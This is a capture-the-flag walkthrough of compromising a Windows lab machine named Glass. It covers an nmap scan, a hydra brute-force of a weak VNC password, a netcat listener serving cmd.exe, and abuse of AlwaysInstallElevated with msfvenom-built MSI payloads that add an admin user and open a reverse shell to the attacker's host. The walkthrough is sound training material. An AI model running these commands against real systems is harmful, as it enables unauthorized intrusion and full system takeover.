TL;DR

  • VNC 3.8 was configured with a weak password
  • Connected with VncViewer as Andrew
  • nc.exe to spawn a shell and defeat the limitation of VncViewer
  • Winpeas has revealled a vulnerability (AlwaysInstallElevated)
  • We could run msi on the server
  • Using msfvenom, we crafted a shell.msi which we then use to spawn a shell as system

NETWORK


sudo nmap -sCVS -Pn 172.31.1.25 -p135,139,445,3389,5800,5900,5985,47001,49664,49665,49666,49667,49669,49670,49671
[sudo] password for clobee: 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-11 19:22 EST
Nmap scan report for 172.31.1.25
Host is up (0.021s latency).

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Glass
| Not valid before: 2022-03-11T00:06:14
|_Not valid after:  2022-09-10T00:06:14
|_ssl-date: 2022-03-12T00:23:47+00:00; 0s from scanner time.
5800/tcp  open  vnc-http      TightVNC (user: glass; VNC TCP port: 5900)
|_http-title: TightVNC desktop [glass]
5900/tcp  open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes: 
|_    STDV VNCAUTH_ (2)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2022-03-12T00:23:42
|_  start_date: N/A
|_nbstat: NetBIOS name: GLASS, NetBIOS user: <unknown>, NetBIOS MAC: 02:cf:4e:f8:63:a0 (unknown)
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

FOOTHOLD

We are working with VNC 3.8 on port 5900, which was the only potential foothold for this machine (after ruling out all h other ports)

5900/tcp  open  vnc           VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|     VNC Authentication (2)
|     Tight (16)
|   Tight auth subtypes: 
|_    STDV VNCAUTH_ (2)

A quick brute-force attempt found the password “password” (we could have guessed that)

hydra -P /usr/share/wordlists/rockyou.txt 172.31.1.25 vnc 
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

[5900][vnc] host: 172.31.1.25   password: password

Using vncviewer 172.31.1.25 we found ourselves in the machine as a simple user Andrew

PRIV ESCALATION

DOC: https://etchedshell.medium.com/powerup-experience-42f3d7904e79

The VncViewer has multiple limitation as an example we are unable to use the clipboard (to simply copy information from there to our attacking machine).

After uploading nc.exe (https://github.com/int0x33/nc.exe/) on the machine we were able to get a reverse shell as Andrew

nc -L -p 53 -e cmd.exe

Running winPEAS (https://github.com/carlospolop/PEASS-ng/releases/download/20220310/winPEASx64.exe), we have found

Looking at https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) ** *.msi** files as NT AUTHORITY**SYSTEM**.

We can use Write-UserAddMSI command from PowerUp.ps1 to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access):

powershell -ep bypass


Import-Module .\PowerUp.ps1

MSI Installation

To execute the installation of the malicious .msi file in background:

msiexec /quiet /qn /i UserAdd.msi

Which wasn’t successful

But using msfvenom to generate the msi file

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi                                            
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 284 bytes
Final size of msi file: 159744 bytes
Saved as: alwe.msi

We then successfully created the rottenadmin user

Via RDP xfreerdp /cert:ignore /v:172.31.1.25 /u:rottenadmin /p:'P@ssword123!' /smart-sizing +clipboard as admin we were still limited

Leveraging AlwaysInstallElevated for System Level Shell

We first generated a shell.msi with msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LPORT=1234 LHOST=10.10.0.99 --platform windows -a x64 --format msi -o shell.msi
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes
Saved as: shell.msi

Then using that shell.msi on the victim machine

We finally got complete access via a reverse shell

CAPTURE FLAGS

type C:\Users\Administrator\Desktop\system.txt

type C:\Users\andrew\Desktop\access.txt